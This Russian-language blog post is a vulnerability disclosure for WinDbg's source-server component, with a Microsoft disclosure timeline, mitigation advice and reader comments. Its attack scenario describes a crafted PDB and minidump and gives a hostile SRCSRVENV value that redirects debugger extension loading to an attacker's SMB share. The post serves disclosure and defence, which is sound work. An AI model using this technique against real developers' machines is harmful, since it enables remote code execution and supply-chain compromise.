Привет, Хабр! Меня зовут Александр Калинин, я занимаюсь разработкой средств обеспечения безопасности контейнерных сред в МТС RED, дочерней компании МТС в сфере кибербезопасности. Сегодня расскажу о том, как я обнаружил в отладчике WinDbg уязвимость, которая позволяет запускать произвольный вредоносный код на хосте разработчика и подменять библиотеки. Также поговорим о реакции Microsoft на мой репорт.

Перспективность этой поверхности атаки я заметил еще примерно в 2016 году, когда занимался в основном разработкой под Windows. Как всем известно, неотъемлемой частью жизненного цикла продуктовой разработки является поддержка, в том числе – сбор крэшдампов в случае, если ваш продукт неожиданно выйдет из строя на стороне конечного пользователя. Это может быть реализовано как средствами Windows – службой Windows Error Reporting, так и кастомными инструментами, но, так или иначе, в первом приближении процесс обычно включает в себя следующие этапы:

  1. Создание аварийного дампа на стороне пользователя

  2. Отправка аварийного дампа на сервер сбора дампов

  3. Автоматический триажинг проблем

  4. Оповещение разработчиков о новой ошибке

  5. Ручной анализ проблемы разработчиками

Это комплексный процесс и угрозы могут встречаться практически на каждом из его этапов, но сегодня мы сосредоточимся на этапе №5.

TL/DR

Уязвимость позволяет атакующему выполнять произвольный код в контексте отладчика Microsoft WinDbg с включенным клиентом Source Server. Для удаленного варианта эксплуатации этой уязвимости необходим доступ от целевого хоста к SMB-ресурсу, предоставленному злоумышленником - как внутри локальной сети компании, так и в интернете, если позволяет корпоративный фаерволл (что, к сожалению, до сих пор встречается довольно часто).

Сама уязвимость находится в компоненте WinDbg srcsrv.dll, который отвечает за обработку конфигурации сервера исходных кодов, расположенного в одном из стримов pdb-файла. Конфигурация сервера исходных кодов позволяет штатно задать значение переменной среды SRCSRVENV, благодаря чему можно настроить вызов команды для скачивания исходных кодов, добавив для этого необходимые переменные среды. Проблема здесь состоит в том, что переменная среды задается не для команды скачивания исходных кодов, а для всего процесса WinDbg, что открывает широкие возможности для атакующего.

В нашем примере мы переопределяем путь к расширениям WinDbg, что провоцирует DLL Hijacking во время повторной инициализации DbgEngine, и успешно приводит к выполнению произвольных DLL, включая DLL, доступные по путям UNC, например с SMB-сервера.

Подробнее о механике уязвимости

В WinDbg есть функция «Индексация исходного кода», которая позволяет разработчикам встраивать в файлы отладочной информации PDB инструкции о том, как загрузить исходный код для конкретной сборки PE-файла. PDB-файлы генерируются при сборке кода компилятором MSVC и по умолчанию содержат отладочные символы – структуры, сигнатуры функций и многое другое. К этому билду можно добавить информацию об источнике исходных кодов. Эти инструкции необходимо расположить в стриме PDB-файла под названием Srcsrv, и выглядят они как классический ini-файл.

Данный файл, кроме всего прочего, содержит интересные нам ключи:

  • SRCSRVCMD описывает шаблон команды, которая должна скачать файл с исходным кодом из репозитория. Например, для TFS она выглядит как tf.exe get ...

  • SRCSRVENV позволяет задать переменные среды для запускаемой команды из SRCSRVCMD в формате KEY=VALUE.

Пример содержимого стрима SrcSrv
Пример содержимого стрима SrcSrv

Идея запускать неподписанные команды на машине разработчика звучит совсем мрачно, поэтому Microsoft внедрил базовое средство безопасности: чтобы предотвратить автоматическое выполнение вредоносных командных строк, клиент SrcSrv по умолчанию предварительно требует на это согласия пользователя, чтобы разработчик мог сам решить, безопасна команда или нет. У пользователя также есть возможность (и на практике так делают многие) навсегда отключить эти запросы:

Окно запроса разрешения на выполнение команды
Окно запроса разрешения на выполнение команды

В контексте рассматриваемой уязвимости, к сожалению, эта мера бессильна: Srcsrv.dll использует значение SRCSRVENV для установки переменных среды в текущем процессе WinDbg до отображения диалогового окна согласия.

Последовательность триггера уязвимости и отображения окна предупраждения
Последовательность триггера уязвимости и отображения окна предупраждения

Сценарий удаленной эксплуатации

Теперь, зная все вводные, давайте представим себе примерный сценарий удаленной атаки.

Допустим, компания X использует серверы сбора аварийных дампов от клиентов для postmortem-отладки разрабатываемого ими программного обеспечения. Злоумышленники создают pdb-файл, который эксплуатирует эту уязвимость: они встраивают в него поток SRCSRV со специально сформированной конфигурацией сервера исходных кодов, где вышеупомянутый параметр SRCSRVENV установлен в значение _NT_DEBUGGER_EXTENSION_PATH=\192.168.1.2\box\1337\

Переопределение переменной среды с путем к расширениям WinDbg
Переопределение переменной среды с путем к расширениям WinDbg

Эта переменная среды используется движком Windbg DbgEngine в качестве пути поиска расширений WinDbg, таким как ext.dll/ntsdexts.dll/etc. Загружаются они непосредственно при инициализации DbgEngine. То есть если пользователь загрузит любой другой дамп в текущий экземпляр WinDbg, то с помощью атаки DLL Hijacking можно загрузить и выполнить любой вредоносный код в процессе.

Далее злоумышленники создают файл минидампа с PE-файлом в памяти, содержащим поддельную структуру CV_INFO_PDB70, где указан SMB-путь к ранее созданному PDB-файлу, который триггерит данную уязвимость. Эта структура является стандартным способом указать WinDbg расположение файла PDB для PE, по умолчанию она выглядит примерно так:

Формат структуры CV_INFO_PDB70
Формат структуры CV_INFO_PDB70

В нашем случае злоумышленник задает для PdbFileName UNC-путь к подконтрольному ему ресурсу по протоколу SMB, который в дальнейшем и отдаст на машину жертвы файл .pdb с подделанным потоком SRCSRV.

Сотрудник компании X получает файл минидампа для анализа причин падения продукта, и открывает его в WinDbg, который первым делом загружает файл .pdb из ресурса SMB. WinDbg идентифицирует поток SRCSRV из PDB и передает содержимое потока SRCSRV в функцию srcsrv.dll SrcSrvExecTokenA. Эта функция считывает переменную SRCSRVENV и устанавливает переменную среды _NT_DEBUGGER_EXTENSION_PATH на текущий процесс WinDbg. Уязвимость приведена в действие. Позже отображается окно согласия, но, независимо от решения пользователя, данный экземпляр WinDbg уже содержит измененную переменную среды с путем до расширений.

Так как анализ аварийных дампов памяти – зачастую процесс поставленный на поток, после работы над этим дампом сотрудник компании X открывает следующий файл дампа или даже любой исполняемый файл (опять же, в текущем процессе WinDbg), а уже после этого DbgEngine загрузит библиотеки DLL-расширения не из директории с самим отладчиком, а из предоставленного злоумышленником ресурса SMB.

Процесс WinDbg загружает расширения по сетевому пути
Процесс WinDbg загружает расширения по сетевому пути

Таким образом, на машине жертвы будет выполнен код, а если повезет, то отладчик может оказаться запущенным с привилегией SeDebugPrivilege, которая открывает безграничный доступ к системе.

Уязвимость была проверена на стенде с WinDbg 10.0.19041.685 и Microsoft Source Server (srcsrv.dll) 10.0.19041.685 и имеет классификации Security feature bypass, Local privilege elevation, Remote code execution и Code injection.

Корень проблемы

SRCSRVENV предназначен для назначения переменных среды для выполнения команды из SRCSRVCMD, поэтому его необходимо указывать, например, в аргументе lpEnvironment вызова CreateProcess, а не в контексте вызывающего процесса с использованием SetEnvironmentVariable.

Опасность данной уязвимости

Атаки на самих разработчиков в инфраструктуре компании очень опасны, поскольку они обычно имеют права локального администратора, а также доступ к значительной части исходного кода, сертификатам подписи кода и документации, включая права на запись к части кода продукта. Последствия могут варьироваться от утечки информации до фактического заражения кода продуктов компании, что обойдется компании в огромную сумму.

Общение с Microsoft

  • 22 марта 2021 – отчет о проблеме отправлен Microsoft

  • 22 марта 2021 – отчет принят Microsoft

  • 2 апреля 2021 – проблема подтверждена Microsoft

  • 7 апреля 2021 – присуждено баунти за уязвимость

  • 17 июля 2021 – фикс на этапе тестирования

  • 27 июля 2021 – озвучены планы по релизу фикса в версии SDK от октября 2021

  • 9 октября 2021 – назначено временное CVE (CVE-2021-X41358)

  • 13 октября 2021 – Microsoft отказали в регистрации CVE-2021-41358.

    Тут хотелось бы остановиться подробнее. Отказ в регистрации уязвимости мне мотивировали тем, что фикс попал в новую версию продукта - Windows SDK 11, а уязвимый код был обнаружен в отладчике, который является частью Windows SDK 10. Буквально «нет секьюрити апдейта – нет CVE». Кажется, обычно регистрация уязвимостей работает не совсем так, но оставим это на совести вендора.

  • 26 сентября 2023 - опубликована эта статья

Митигация рисков

Фикс заявлен в версии WinDbg 10.0.22621.0 и выше, а также в Windows SDK 11. Рекомендую использовать для отладки именно эти версии.

Также была написана простая утилита, проверяющая файлы дампов на наличие внешних ссылок на pdb-файлы (Github). Она не проверяет эксплуатацию уязвимости в конфигурации srcsrv, но, как минимум, обнаруживает попытки загрузки pdb из внешних ресурсов, что может эффективно митигировать такую атаку в автоматическом режиме.

Ссылки

Индексация исходников для WinDbg: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/source-indexing

Формат PDB: https://github.com/microsoft/microsoft-pdb/blob/master/README.md

Комментарии (5)


  1. kmatveev
    26.09.2023 10:50

    Извиняюсь за тупой вопрос, но вот в декомпилированном коде непосредственно перед вызовом SetEnvironmentVariableA есть цикл, в котором в строке ищется "=", чтобы разбить строку на имя переменной окружения и значение. А если этого "=" не будет, то он так и будет сканировать память, пока не повезёт?


    1. Alexander_Kalinin Автор
      26.09.2023 10:50

      Судя по коду - да. Но это не единственная проблема. Например, согласно документации, поддерживается задание нескольких переменных среды, разделенных символом \b. Ho также по коду видно, что переменная может задаваться только одна. На практике на той версии - у меня работала только одна.


  1. sleirsgoevy
    26.09.2023 10:50

    В тему статьи: в протоколе удалённой отладки GDB есть фича выполнения изнутри отлаживаемой программы некоторых (по белому списку) системных вызовов на хосте. Я вот не уверен, что мешает, например, недоверенному gdbserver'у внутри контейнера через спецфайлы Линукса вроде /proc/self/mem и /proc/self/maps получить доступ к процессу gdb разработчика, которым он приаттачился для отладки.


    1. Alexander_Kalinin Автор
      26.09.2023 10:50

      GDB также имеет возможность вызывать ptrace с ключами PTRACE_POKETEXT, что также эффективно дает перезаписывать исполняемую память процесса отлаживаемой программы (как результат, выполнение любого кода в ее контексте). Таким образом, в данном случае, мы не получаем большого преимущества, имея возможность выполнить отдельные сисколлы.


      1. kmatveev
        26.09.2023 10:50
        +1

        я думаю, что имелось ввиду наоборот: удалённый отлаживаемый начинает контролировать процесс-отладчик